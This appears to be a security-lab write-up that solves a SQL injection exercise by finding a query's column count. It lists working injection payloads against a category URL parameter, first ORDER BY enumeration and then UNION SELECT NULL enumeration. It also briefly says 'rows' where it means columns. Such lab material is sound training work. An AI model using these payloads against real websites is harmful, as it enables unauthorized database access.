🕸️ PSA - SQLi 3 - UNION attack, determining the number of columns returned by the query

Difficulty : Practitioner

🎯 Goal

To solve the lab, determine the number of columns returned by the query by performing a SQL injection UNION attack that returns an additional row containing null values.

✅ Solution

Initial request:

<website>/products?category=Gifts

Now we can use 2 technics to determine the number of rows returned:

Method 1 - ORDER BY

<website>/filter?category=Gifts' ORDER BY 1--    # works
<website>/filter?category=Gifts' ORDER BY 2--    # works
<website>/filter?category=Gifts' ORDER BY 3--    # works
<website>/filter?category=Gifts' ORDER BY 4--    # error!

So we know 3 columns are returned.

Method 2 - UNION SELECT NULL

<website>/filter?category=Gifts' UNION SELECT NULL--    # works
<website>/filter?category=Gifts' UNION SELECT NULL,NULL--    # works
<website>/filter?category=Gifts' UNION SELECT NULL,NULL,NULL--    # works
<website>/filter?category=Gifts' UNION SELECT NULL,NULL,NULL,NULL--    # error!

Same result: 3 columns are returned.